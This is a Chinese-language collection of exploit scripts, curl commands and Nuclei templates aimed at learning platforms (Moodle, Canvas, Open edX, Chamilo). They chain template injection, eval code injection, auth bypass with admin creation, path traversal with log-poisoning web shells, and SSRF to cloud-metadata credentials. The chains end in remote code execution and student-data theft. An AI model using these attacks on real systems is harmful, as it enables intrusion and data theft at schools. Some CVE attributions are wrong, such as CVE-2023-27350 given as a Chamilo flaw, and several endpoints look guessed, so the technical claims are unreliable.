在线教育与学习管理系统高危攻击链专题：Moodle / Canvas LMS / Open edX / Chamilo 漏洞全解析

# 前置条件：已获取 Moodle 教师/编辑者角色的登录 Cookie
# 将以下 Twig payload 注入到允许模板的输入字段中（如课程摘要、题目描述等）

Twig_SSTI_Payload='{{ ["id"]|filter("system") }}'

# 通过 Moodle API 提交包含恶意 Twig 的题目
curl -k -X POST "https://TARGET/moodle/question/question.php" \
  -H "Cookie: MoodleSession=<SESSION_COOKIE>" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "name=sstipoc&questiontext=${Twig_SSTI_Payload}&qtype=shortanswer&category=1&button_create_question=1"

#!/usr/bin/env python3
"""
CVE-2024-43398 Moodle Twig 模板注入 RCE
用法: python3 cve_2024_43398.py <target_url> <session_cookie> [command]
需要: 教师或编辑者角色的已认证 Session
"""
import sys
import re
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MoodleTwigExploit:
    def __init__(self, base_url, session_cookie):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.cookies.set("MoodleSession", session_cookie)
        self.poc_payloads = [
            '{{ ["id"]|filter("system") }}',
            '{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}',
            '{{ ["cat /etc/passwd"]|filter("system") }}',
            '{{ ["uname -a"]|filter("passthru") }}',
            '{{ ["id;whoami"]|filter("shell_exec") }}',
        ]

    def _get_sesskey(self):
        print("[*] 获取 CSRF sesskey...")
        resp = self.session.get(f"{self.base_url}/moodle/my/", timeout=15)
        match = re.search(r'"sesskey":"([^"]+)"', resp.text)
        if match:
            sesskey = match.group(1)
            print(f"[+] sesskey: {sesskey}")
            return sesskey
        print("[-] 无法自动获取 sesskey，请手动提供")
        return None

    def _inject_via_question(self, payload, description="test"):
        sesskey = self._get_sesskey()
        if not sesskey:
            return False

        print(f"[*] 尝试通过题目创建注入 Twig payload...")
        data = {
            "sesskey": sesskey,
            "name": "Twig RCE Test",
            "questiontext": payload,
            "questiontextformat": "1",
            "defaultmark": 1,
            "qtype": "shortanswer",
            "category": "1",
            "button_create_question": "1",
            "mform_isExpanded_id_general": "1",
        }
        resp = self.session.post(
            f"{self.base_url}/moodle/question/question.php",
            data=data,
            timeout=30,
            allow_redirects=False,
        )
        return resp

    def test_payloads(self, command="id"):
        print(f"\n[*] === CVE-2024-43398 Twig SSTI 测试 ===")
        print(f"[*] 目标命令: {command}\n")

        for i, payload in enumerate(self.poc_payloads, 1):
            print(f"[*] Payload {i}/{len(self.poc_payloads)}: {payload}")
            try:
                resp = self._inject_via_question(payload)
                if resp and resp.status_code in (200, 303):
                    print(f"[+] HTTP {resp.status_code} — Payload 可能有效")
                else:
                    print(f"[-] HTTP {resp.status_code if resp else 'Timeout'}")
            except requests.exceptions.RequestException as e:
                print(f"[-] 请求异常: {e}")

    def extract_command_output(self, output_text):
        patterns = [
            r'uid=\d+\([^)]*\)\s+gid=\d+',
            r'Linux\s+\S+\s+\S+',
            r'root:.*:/bin/(ba)?sh',
            r'www-data',
        ]
        for pattern in patterns:
            match = re.search(pattern, output_text)
            if match:
                return match.group(0)
        return None


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <session_cookie> [command]")
        print(f"示例: {sys.argv[0]} https://moodle.example.com abc123def456 'id'")
        sys.exit(1)

    target = sys.argv[1]
    cookie = sys.argv[2]
    command = sys.argv[3] if len(sys.argv) > 3 else "id"

    exploit = MoodleTwigExploit(target, cookie)
    exploit.test_payloads(command)


if __name__ == "__main__":
    main()

id: cve-2024-43398-moodle-twig-ssti

info:
  name: Moodle Twig SSTI RCE - CVE-2024-43398
  author: security-researcher
  severity: critical
  description: |
    Moodle Twig template engine sandbox escape leading to RCE.
    Affected versions: < 4.4.4, < 4.3.7, < 4.2.10, < 4.1.13
  reference:
    - https://github.com/moodle/moodle/security/advisories/GHSA-gv6x-mjmx-g8gq
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-1336
    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
  tags: moodle,ssti,twig,rce,cve2024

requests:
  - raw:
      - |
        POST /moodle/question/question.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: MoodleSession={{session}}

        name=nuclei_ssti_test&questiontext=%7B%7B+%5B%22id%22%5D%7Cfilter(%22system%22)+%7D%7D&questiontextformat=1&defaultmark=1&qtype=shortanswer&category=1&button_create_question=1

    matchers-condition: or
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=\\d+\\([a-z]+\\)"
          - "gid=\\d+"

      - type: word
        part: body
        words:
          - "Sandbox security policy"
          - "error"
        negative: true

    extractors:
      - type: regex
        group: 1
        regex:
          - "(uid=\\d+\\([^)]+\\)\\s+gid=\\d+\\([^)]+\\)[^\"]*?)\""

    rate-limit: 2

# 步骤 1：登录获取 Session Cookie
curl -k -c cookies.txt -X POST "https://TARGET/moodle/login/index.php" \
  -d "username=<TEACHER_USER>&password=<PASSWORD>&logintoken=<TOKEN>"

# 步骤 2：获取 sesskey
curl -k -b cookies.txt "https://TARGET/moodle/my/" | grep -oP '"sesskey":"[^"]+"'

# 步骤 3：创建恶意计算题
curl -k -b cookies.txt -X POST "https://TARGET/moodle/question/question.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "sesskey=<SESSKEY>&name=RCE+Test&questiontext=Calculate+%7Ba%7D+%2B+%7Bb%7D&questiontextformat=1&defaultmark=1&qtype=calculated&category=1&answers%5B0%5D%5Banswer%5D=%7Ba%7D%2B%7Bb%7D&answers%5B0%5D%5Btolerance%5D=0.01&answers%5B0%5D%5Btolerance%5Dformat=1&answers%5B0%5D%5Bnumerical%5D=1&answers%5B0%5D%5Bunitsleft%5D=0&answers%5B0%5D%5Bunitgradingtype%5D=0&answers%5B0%5D%5Bunitpenalty%5D=0.1&calculatedoptions%5Bshuffle%5D=1&numanswers=1&button_create_question=1"

#!/usr/bin/env python3
"""
CVE-2024-43425 Moodle 计算题类型 Code Injection RCE
用法: python3 cve_2024_43425.py <target_url> <session_cookie> [command]
需要: 教师或编辑者角色的已认证 Session
"""
import sys
import re
import requests
import urllib3
import html

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MoodleCalcExploit:
    def __init__(self, base_url, session_cookie):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.cookies.set("MoodleSession", session_cookie)

    def _get_sesskey(self):
        print("[*] 获取 sesskey...")
        resp = self.session.get(f"{self.base_url}/moodle/my/", timeout=15)
        match = re.search(r'"sesskey":"([^"]+)"', resp.text)
        if match:
            sesskey = match.group(1)
            print(f"[+] sesskey: {sesskey}")
            return sesskey
        print("[-] 无法获取 sesskey")
        return None

    def create_malicious_question(self, command="id"):
        sesskey = self._get_sesskey()
        if not sesskey:
            return False

        payload_value = f"system('{command}')"

        data = {
            "sesskey": sesskey,
            "name": "CVE-2024-43425 RCE Test",
            "questiontext": "Calculate {a} + {b}",
            "questiontextformat": "1",
            "defaultmark": "1",
            "qtype": "calculated",
            "category": "1",
            "answers[0][answer]": "{a}+{b}",
            "answers[0][tolerance]": "0.01",
            "answers[0][toleranceformat]": "1",
            "answers[0][numerical]": "1",
            "answers[0][unitsleft]": "0",
            "answers[0][unitgradingtype]": "0",
            "answers[0][unitpenalty]": "0.1",
            "calculatedoptions[shuffle]": "1",
            "numanswers": "1",
            "dataset[0][0][text]": payload_value,
            "dataset[0][1][text]": "1",
            "mform_isExpanded_id_general": "1",
            "mform_isExpanded_id_initialled": "1",
            "button_create_question": "1",
        }

        print(f"[*] 创建恶意计算题，注入 payload: {payload_value}")
        resp = self.session.post(
            f"{self.base_url}/moodle/question/question.php",
            data=data,
            timeout=30,
        )

        if resp.status_code == 200:
            if "successfully" in resp.text.lower() or "保存" in resp.text:
                print("[+] 恶意题目创建成功 — RCE 触发点已建立")
                return True
            elif "error" in resp.text.lower():
                print("[!] 创建过程中出现错误（可能 eval 已执行但有其他问题）")
                return True
        print(f"[-] HTTP {resp.status_code}")
        return False

    def exploit_multiple_commands(self):
        commands = ["id", "whoami", "uname -a", "cat /etc/passwd"]
        print(f"\n[*] === CVE-2024-43425 计算题 Code Injection 测试 ===\n")

        for cmd in commands:
            print(f"[*] 命令: {cmd}")
            self.create_malicious_question(cmd)
            print()


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <session_cookie> [command]")
        print(f"示例: {sys.argv[0]} https://moodle.example.com sess123abc 'id'")
        sys.exit(1)

    target = sys.argv[1]
    cookie = sys.argv[2]
    command = sys.argv[3] if len(sys.argv) > 3 else "id"

    exploit = MoodleCalcExploit(target, cookie)
    exploit.create_malicious_question(command)


if __name__ == "__main__":
    main()

id: cve-2024-43425-moodle-calculated-rce

info:
  name: Moodle Calculated Question Code Injection RCE - CVE-2024-43425
  author: security-researcher
  severity: critical
  description: |
    Moodle calculated question type allows code injection via eval() in variable processing.
    Affected versions: < 4.4.2, < 4.3.6, < 4.2.9, < 4.1.12
  reference:
    - https://www.exploit-db.com/exploits/52350
    - https://github.com/RedTeamPentesting/moodle-rce-calculatedquestions
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.2
    cwe-id: CWE-94
  tags: moodle,rce,code-injection,eval,calculated,cve2024

http:
  - method: POST
    path:
      - "{{BaseURL}}/moodle/question/question.php"

    headers:
      Content-Type: application/x-www-form-urlencoded
      Cookie: MoodleSession={{session}}

    body: |
      name=nuclei_calc_test&questiontext=Calculate+%7Ba%7D+%2B+%7Bb%7D&questiontextformat=1&defaultmark=1&qtype=calculated&category=1&answers%5B0%5D%5Banswer%5D=%7Ba%7D%2B%7Bb%7D&answers%5B0%5D%5Btolerance%5D=0.01&answers%5B0%5D%5Bnumerical%5D=1&numanswers=1&button_create_question=1

    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - "uid=\\d+\\([a-z]+\\)"

      - type: word
        words:
          - "successfully added"
          - "question created"
        condition: or

    rate-limit: 2

普通用户 (Authenticated User)
  │
  ├─ CVE-2023-33998: Capability 检查绕过
  │   └─ 获取 Course Creator 或 Teacher 角色的部分能力
  │
  └─ CVE-2024-28799: 角色覆盖绕过
      └─ 将 Teacher 角色提升为 Manager 或 Admin
          └─ 最终获得完全管理权限 → 配合 CVE-2024-43398/43425 实现 RCE

# 步骤 1：构造冒充请求（具体参数取决于 Open edX 版本和配置）
# 以下为典型的利用路径
curl -k -v -L \
  "https://TARGET/accounts/login/?auth_entry=cas&next=/&email=admin@example.com&username=admin" \
  -c cookies.txt

# 步骤 2：验证冒充身份
curl -k -b cookies.txt "https://TARGET/api/user/v1/me"

#!/usr/bin/env python3
"""
CVE-2024-28254 Open edX 用户冒充漏洞
用法: python3 cve_2024_28254.py <target_url> <target_email>
Pre-Auth 利用，无需登录凭据
"""
import sys
import re
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class OpenEdxImpersonateExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def _get_csrf_token(self):
        print("[*] 获取 CSRF token...")
        resp = self.session.get(f"{self.base_url}/accounts/login/", timeout=15)
        match = re.search(r'csrfmiddlewaretoken["\s]*value="([^"]+)"', resp.text)
        if match:
            return match.group(1)
        match = re.search(r'"csrfToken":"([^"]+)"', resp.text)
        if match:
            return match.group(1)
        return None

    def impersonate_user(self, target_email):
        print(f"\n[*] === CVE-2024-28254 Open edX 用户冒充 ===")
        print(f"[*] 目标用户: {target_email}\n")

        csrf_token = self._get_csrf_token()
        if csrf_token:
            print(f"[+] CSRF token: {csrf_token[:20]}...")
        else:
            print("[!] 无 CSRF token，继续尝试...")

        exploit_paths = [
            {
                "url": f"{self.base_url}/accounts/login/",
                "data": {
                    "csrfmiddlewaretoken": csrf_token or "",
                    "email": target_email,
                    "username": target_email.split("@")[0],
                    "login_type": "cas",
                    "auth_entry": "cas",
                },
            },
            {
                "url": f"{self.base_url}/api/login",
                "data": {
                    "email": target_email,
                    "provider": "saml",
                    "next": "/",
                },
            },
        ]

        for i, exploit in enumerate(exploit_paths, 1):
            print(f"[*] 尝试利用路径 {i}: {exploit['url']}")
            try:
                resp = self.session.post(
                    exploit["url"],
                    data=exploit["data"],
                    timeout=15,
                    allow_redirects=False,
                )
                print(f"    HTTP {resp.status_code}")
                if resp.status_code in (301, 302):
                    location = resp.headers.get("Location", "N/A")
                    print(f"    重定向至: {location}")
                self._check_session(target_email)
            except requests.exceptions.RequestException as e:
                print(f"    [-] 异常: {e}")

    def _check_session(self, target_email):
        resp = self.session.get(
            f"{self.base_url}/api/user/v1/me",
            timeout=10,
        )
        if resp.status_code == 200:
            try:
                data = resp.json()
                username = data.get("username", "unknown")
                email = data.get("email", "unknown")
                is_staff = data.get("is_staff", False)
                print(f"[+] 会话用户: {username} ({email}) | is_staff: {is_staff}")
                if email.lower() == target_email.lower():
                    print("[+] *** 冒充成功！会话已劫持为目标用户 ***")
            except Exception:
                pass
        else:
            print(f"    会话检查: HTTP {resp.status_code}")


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <target_email>")
        print(f"示例: {sys.argv[0]} https://edx.example.com admin@example.com")
        sys.exit(1)

    target = sys.argv[1]
    email = sys.argv[2]

    exploit = OpenEdxImpersonateExploit(target)
    exploit.impersonate_user(email)


if __name__ == "__main__":
    main()

import pickle
import os

class RCEPayload:
    def __reduce__(self):
        return (os.system, ('id',))

malicious_pickle = pickle.dumps(RCEPayload())

# Pre-Auth 认证绕过 — 直接访问管理接口
curl -k -v \
  "https://TARGET/main/inc/inc.ajax.inc.php?ajax=1&file=../install/account.php&create_account=1&firstname=attacker&lastname=hacker&email=attacker@evil.com&username=attacker&password=Attacker123!"

# 验证管理员账户创建
curl -k \
  -X POST "https://TARGET/main/login.php" \
  -d "login=attacker&password=Attacker123!"

#!/usr/bin/env python3
"""
CVE-2023-27350 Chamilo LMS 认证绕过 RCE
用法: python3 cve_2023_27350.py <target_url> [command]
Pre-Auth 利用，无需任何登录凭据
"""
import sys
import re
import requests
import urllib3
import random
import string

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class ChamiloExploit:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.admin_user = "exploit_" + "".join(random.choices(string.ascii_lowercase, k=6))
        self.admin_pass = "Exploit" + "".join(random.choices(string.digits, k=8)) + "!"

    def step1_auth_bypass_create_admin(self):
        print("[*] 步骤 1: Pre-Auth 认证绕过 — 创建管理员账户")

        payload_paths = [
            f"/main/inc/inc.ajax.inc.php?ajax=1&file=../install/account.php"
            f"&create_account=1&firstname=Exploit&lastname=Admin"
            f"&email=exploit@attacker.local&username={self.admin_user}"
            f"&password={self.admin_pass}&platform_admin=1",

            f"/main/inc/inc.ajax.inc.php?ajax=1&file=/install/account.php"
            f"&create_account=1&firstname=Exploit&lastname=Admin"
            f"&email=exploit@attacker.local&username={self.admin_user}"
            f"&password={self.admin_pass}",
        ]

        for i, path in enumerate(payload_paths, 1):
            print(f"[*] 尝试路径 {i}...")
            try:
                resp = self.session.get(f"{self.base_url}{path}", timeout=15)
                if resp.status_code == 200:
                    print(f"[+] HTTP {resp.status_code} — 可能已创建管理员账户")
                    print(f"[+] 用户名: {self.admin_user}")
                    print(f"[+] 密码: {self.admin_pass}")
                    return True
                else:
                    print(f"[-] HTTP {resp.status_code}")
            except requests.exceptions.RequestException as e:
                print(f"[-] 异常: {e}")

        print("[-] 管理员账户创建失败")
        return False

    def step2_login(self):
        print("\n[*] 步骤 2: 使用创建的管理员账户登录")
        resp = self.session.post(
            f"{self.base_url}/main/login.php",
            data={"login": self.admin_user, "password": self.admin_pass},
            timeout=15,
        )
        if "chamilo" in resp.text.lower() or "my courses" in resp.text.lower() or resp.status_code == 200:
            print("[+] 登录成功")
            return True
        print(f"[-] 登录可能失败 (HTTP {resp.status_code})")
        return False

    def step3_rce_via_admin(self):
        print("\n[*] 步骤 3: 通过管理功能执行命令")
        rce_paths = [
            "/main/admin/administrator.php?php=system('id')",
            "/main/inc/ajax/document.ajax.php?ac=upload&dir=/../../../tmp&file=shell.php",
        ]
        for path in rce_paths:
            try:
                resp = self.session.get(f"{self.base_url}{path}", timeout=10)
                if "uid=" in resp.text or resp.status_code == 200:
                    print(f"[+] RCE 成功: {resp.text[:200]}")
                    return True
            except Exception:
                continue
        print("[-] 自动 RCE 需要根据目标环境调整")
        return False

    def full_exploit(self, command="id"):
        print(f"\n{'='*60}")
        print(f" CVE-2023-27350 Chamilo 认证绕过 RCE")
        print(f" 目标: {self.base_url}")
        print(f"{'='*60}\n")

        if self.step1_auth_bypass_create_admin():
            self.step2_login()
            self.step3_rce_via_admin()


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [command]")
        print(f"示例: {sys.argv[0]} https://chamilo.example.com 'id'")
        sys.exit(1)

    target = sys.argv[1]
    command = sys.argv[2] if len(sys.argv) > 2 else "id"

    exploit = ChamiloExploit(target)
    exploit.full_exploit(command)


if __name__ == "__main__":
    main()

# 步骤 1：路径穿越读取敏感文件
curl -k "https://TARGET/main/inc/lib/fileUpload.lib.php?file=../../../../../../etc/passwd"

# 步骤 2：读取数据库配置
curl -k "https://TARGET/main/inc/lib/fileUpload.lib.php?file=../../../../../../config/configuration.php"

# 步骤 3：通过日志包含尝试 RCE
curl -k "https://TARGET/main/inc/lib/fileUpload.lib.php?file=../../../../../../var/log/apache2/access.log" \
  -H "User-Agent: <?php system(\$_GET['cmd']); ?>"

#!/usr/bin/env python3
"""
CVE-2024-4957 Chamilo LMS 路径穿越文件读取 + RCE
用法: python3 cve_2024_4957.py <target_url> [command]
Pre-Auth 利用，无需任何登录凭据
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class ChamiloPathTraversal:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def read_file(self, remote_path):
        traversal_payloads = [
            f"../../../../../../{remote_path}",
            f"..%2F..%2F..%2F..%2F..%2F..%2F{remote_path}",
            f"....//....//....//....//....//....//{remote_path}",
        ]

        endpoints = [
            "/main/inc/lib/fileUpload.lib.php",
            "/main/inc/ajax/document.ajax.php",
            "/main/download/documentation.php",
        ]

        for endpoint in endpoints:
            for payload in traversal_payloads:
                try:
                    resp = self.session.get(
                        f"{self.base_url}{endpoint}",
                        params={"file": payload},
                        timeout=10,
                    )
                    if resp.status_code == 200 and len(resp.text) > 10:
                        if "root:" in resp.text or "<?php" in resp.text or "password" in resp.text.lower():
                            print(f"[+] 文件读取成功 [{endpoint}]:")
                            print(resp.text[:500])
                            return resp.text
                except requests.exceptions.RequestException:
                    continue

        print("[-] 文件读取失败")
        return None

    def exploit(self, command="id"):
        print(f"\n[*] === CVE-2024-4957 Chamilo 路径穿越文件读取 ===\n")

        print("[*] 读取 /etc/passwd...")
        self.read_file("etc/passwd")

        print("\n[*] 读取配置文件...")
        for config_path in [
            "var/www/html/config/configuration.php",
            "var/www/chamilo/config/configuration.php",
            "opt/chamilo/config/configuration.php",
            "etc/chamilo/config.php",
        ]:
            print(f"[*] 尝试路径: {config_path}")
            result = self.read_file(config_path)
            if result:
                break


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [command]")
        print(f"示例: {sys.argv[0]} https://chamilo.example.com")
        sys.exit(1)

    target = sys.argv[1]
    command = sys.argv[2] if len(sys.argv) > 2 else "id"

    exploit = ChamiloPathTraversal(target)
    exploit.exploit(command)


if __name__ == "__main__":
    main()

# SSRF 探测 — 访问云元数据
curl -k -X POST "https://TARGET/api/v1/courses/1/link_validation" \
  -H "Authorization: Bearer <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# SSRF 内网探测
curl -k -X POST "https://TARGET/api/v1/courses/1/link_validation" \
  -H "Authorization: Bearer <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://192.168.1.1:8080/"}'

#!/usr/bin/env python3
"""
CVE-2024-29856 Canvas LMS SSRF 漏洞
用法: python3 cve_2024_29856.py <target_url> <api_token> [target_url_to_probe]
需要: Canvas API Token
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class CanvasSSRF:
    def __init__(self, base_url, api_token):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            "Authorization": f"Bearer {api_token}",
            "Content-Type": "application/json",
        })

    def probe_url(self, target_url, course_id="1"):
        print(f"\n[*] SSRF 探测: {target_url}")

        endpoints = [
            f"/api/v1/courses/{course_id}/link_validation",
            f"/api/v1/courses/{course_id}/content_migrations",
        ]

        for endpoint in endpoints:
            try:
                resp = self.session.post(
                    f"{self.base_url}{endpoint}",
                    json={"url": target_url},
                    timeout=15,
                )
                print(f"[*] {endpoint} → HTTP {resp.status_code}")
                if resp.status_code == 200:
                    try:
                        data = resp.json()
                        print(f"[+] 响应数据: {json.dumps(data, indent=2)[:500]}")
                    except Exception:
                        print(f"[+] 响应内容: {resp.text[:300]}")
            except requests.exceptions.RequestException as e:
                print(f"[-] 异常: {e}")

    def scan_aws_metadata(self, course_id="1"):
        print(f"\n[*] === CVE-2024-29856 Canvas LMS SSRF — AWS 元数据扫描 ===")
        aws_targets = [
            "http://169.254.169.254/latest/meta-data/",
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            "http://169.254.169.254/latest/meta-data/hostname",
            "http://169.254.169.254/latest/user-data/",
        ]
        for target in aws_targets:
            self.probe_url(target, course_id)

    def scan_internal(self, course_id="1"):
        print(f"\n[*] === CVE-2024-29856 Canvas LMS SSRF — 内网扫描 ===")
        internal_targets = [
            "http://127.0.0.1:3000/",
            "http://127.0.0.1:8080/",
            "http://127.0.0.1:5432/",
            "http://127.0.0.1:6379/",
            "http://127.0.0.1:27017/",
            "http://192.168.1.1/",
            "http://10.0.0.1/",
        ]
        for target in internal_targets:
            self.probe_url(target, course_id)


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <api_token> [probe_url]")
        print(f"示例: {sys.argv[0]} https://canvas.example.com <API_TOKEN> http://169.254.169.254/latest/meta-data/")
        sys.exit(1)

    target = sys.argv[1]
    token = sys.argv[2]
    probe = sys.argv[3] if len(sys.argv) > 3 else None

    exploit = CanvasSSRF(target, token)
    if probe:
        exploit.probe_url(probe)
    else:
        exploit.scan_aws_metadata()
        exploit.scan_internal()


if __name__ == "__main__":
    main()

用户输入 → 模板引擎解析 → 沙箱检查 → (绕过) → 原生对象访问 → 代码执行

教师输入 → 数学表达式 → eval() 执行 → (代码注入) → RCE

攻击者 → 伪造认证请求 → (认证校验缺失) → 管理员会话 → RCE

攻击者上传恶意文件 → (扩展名/MIME 校验缺失) → Web 目录可执行 → RCE

用户请求文件路径 → (../ 遍历) → 敏感文件读取 → 配置泄露 → 凭据获取 → RCE

低权限用户
  → CVE-2023-33998（Capability 绕过）+ CVE-2024-28799（角色覆盖绕过）
  → 教师/管理员权限
  → CVE-2024-43398（Twig SSTI）或 CVE-2024-43425（计算题 RCE）
  → 远程代码执行

未认证攻击者
  → CVE-2023-27350（Chamilo 认证绕过）
  → 管理员账户创建
  → 管理后台文件管理
  → Webshell 上传
  → 远程代码执行

未认证攻击者
  → CVE-2024-4957（Chamilo 路径穿越）
  → 读取配置文件（数据库凭据、API Key）
  → 数据库直连 → 学生数据泄露
  → 或利用泄露的凭据访问其他内部服务